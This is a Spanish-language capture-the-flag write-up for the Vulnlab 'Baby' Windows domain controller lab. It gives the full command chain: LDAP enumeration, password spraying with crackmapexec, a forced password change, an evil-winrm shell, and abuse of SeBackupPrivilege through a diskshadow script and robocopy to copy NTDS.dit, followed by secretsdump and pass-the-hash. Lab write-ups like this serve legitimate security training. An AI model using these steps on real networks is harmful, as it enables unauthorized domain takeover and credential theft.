Baby – Writeup (Vulnlab)

baby


██████╗░░█████╗░██████╗░██╗░░░██╗    
██╔══██╗██╔══██╗██╔══██╗╚██╗░██╔╝    | SO --> Windows
██████╦╝███████║██████╦╝░╚████╔╝░    | Difficult --> Easy
██╔══██╗██╔══██║██╔══██╗░░╚██╔╝░░
██████╦╝██║░░██║██████╦╝░░░██║░░░    | by shkz
╚═════╝░╚═╝░░╚═╝╚═════╝░░░░╚═╝░░░    | https://www.vulnlab.com

Al ejecutar el primer escaneo clásico de NMAP me daba como resultado varios puertos open | tcpwrapped:



Por lo que intento cambiar el método de escaneo por el siguiente:

nmap -n -vv -A --min-parallelism=50 --max-parallelism=150 -Pn -T2
Bash



Lo agrego a /etc/hosts para trabajar mas comodo.



Considerando que esta expuesto, voy a intentar enumerar usuarios sin autenticarme:

ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep dn
Bash



Sigo enumerando y encuentro entre los comentarios del user “Teresa Bell” una descripcion interesante:

ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep desc -A4
Bash



Al parecer le resetearon la contraseña y el usuario nunca se logueo, podemos testear esto con crackmapexec:

sudo crackmapexec smb baby.vl -u teresa.bell -p 'BabyStart123!'
Bash



Y recibimos una mala noticia:



Al parecer el password fue cambiado, algo muy comun es tratar de verificar y comprobar si este password pudo haber sido reutilizado en otro usuario, entonces haremos un Spraying del mismo con todos los demás users presentes del sistema.

Para eso primero tenemos que generar un wordlist con los usuarios, y luego invocar a crackmapexec para que haga el rafagazo.



Con el siguiente comando podemos recibir toda la información sin filtrar, pero nos va a servir para ‘detectar’ un campo que nos permita identificar a los usuarios:

ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl"
Bash



ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep "member:"
Bash



Vemos el campo “member:”, y verificando el resto del archivo parece que es un campo acertado para extraer usuarios, sabiendo esto procedemos a la creación del wordlist de users.txt con un poco de regex:

ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep "member:" |cut -d "=" -f 2 |cut -d "," -f 1 |awk '/ / {print $1 "." $2}' >users.txt
Bash


Si verificamos:



Las primeras 7 líneas no parecen ser usuarios que nos sirva, asi que los filtramos y volvemos a verificar:

sed -i '1,7d' users.txt
Bash



Password Spraying

Utilizamos nuestro wordlist creado users.txt con la contraseña conocida que tenemos.


sudo crackmapexec smb baby.vl -u users.txt -p BabyStart123! --shares
Bash



Tenemos un match con la cuenta de Caroline.Robinson. Al parecer el estado de su password es que “debería ser cambiado”.



Cambiando el password con smbpasswd.py

Considerando que tenemos un match con Caroline.Robinson, y esta requiere cambiar su password, es el punto de aprovechamiento que necesitamos, usamos smbpasswd.py de Impacket:

smbpasswd.py -newpass 'MyHack1234' [email protected]
Bash



Ingresando con evil-winrm como Caroline.Robinson

Ingresamos con la nueva password que seteamos:

evil-winrm -u caroline.robinson -p 'MyHack1234' -i baby.vl
Bash


Si nos vamos a Desktop/, sacamos la flag de user.txt



Ahora que estamos conectados como caroline.robinson, y tenemos shell, lo primero siempre es verificar que tipo de privilegios poseemos en el sistema.

whoami /priv
Bash



Como podemos ver en la imagen resaltada, el usuario posee 2 privilegios importantes. SeBackupPrivilege y SeRestorePrivilege.


SeBackupPrivilege:

Este privilegio otorga al usuario que lo posea el derecho de realizar copias de seguridad del sistema y de los archivos protegidos.

SeRestorePrivilege:

Este privilegio permite al user que lo posea restaurar archivos y directorios del sistema


Juntando estos dos permisos y con el apoyo del siguiente link: https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-hashes-from-sam-registry



Dumping hashes

reg save hklm\system system
Bash

reg save hklm\sam sam
Bash


Procedo a descargar localmente los dos archivos.

  • sam
  • system


Usamos secretsdump.py para obtener los hashes:



Logueo con evil-winrm y me llevo una sorpresa:

evil-winrm -i baby.vl -u "administrator" -H "8d9....."
Bash


El hash que dumpeamos es ni más ni menos que para ADMIN local. Por ende no es un admin de Dominio. Entonces vamos a intentar enfocarnos en el Admin de Dominio que es el mismo nombre y en cómo obtener el archivo NTDS.dit.



NTDS.dit es un archivo mas que importante en un sistema de dominio, esta localizado en todos los controladores de dominio. Este es una base de datos que almacena ‘datos’ de AD sobre objetos, usuarios, grupos, pertenecias de grupos, incluye los hashes NTLM de las passwords para todos los users.

Una vez que podemos obtener estos hashes, podemos loguear como cualquier user de dominio incluido los administradores.




Diskshadow + Robocopy

Este sera nuestro vector de ataque. Diskshadow es un comando incluido en Windows Server el cual nos permite crear copias de un disco que esta actualmente en uso.

En el siguiente link encontré algo muy util de una persona que se baso en una maquina de HackTheBox con una situacion similar a la que tenemos en esta maquina.

La cual consta de crear un script en el que ejecuta los comandos necesarios para crear una copia en este caso del NTDS.dit

Luego de realizar esto podremos extraer sin problemas el hash de ADMIN



Script File: mySam.txt

Creó el siguiente script localmente y lo subo con evil-winrm con la función “upload”

set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
Bash


diskshadow /s mySam.txt
Bash




Cuando finaliza veremos que la copia fue realizada en el disco E:\

robocopy /b E:\Windows\ntds . ntds.dit
Bash



Finalmente, descargo el archivo ntds.dit y ejecuto secretsdump.py

secretsdump.py -sam sam -system system -ntds ntds.dit LOCAL
Bash



Finalmente logueamos con evil-winrm:

evil-winrm -i baby.vl -u "administrator" -H "ee445..."
Bash


Rooted!



Share this :

Leave a Reply

Your email address will not be published. Required fields are marked *

More!..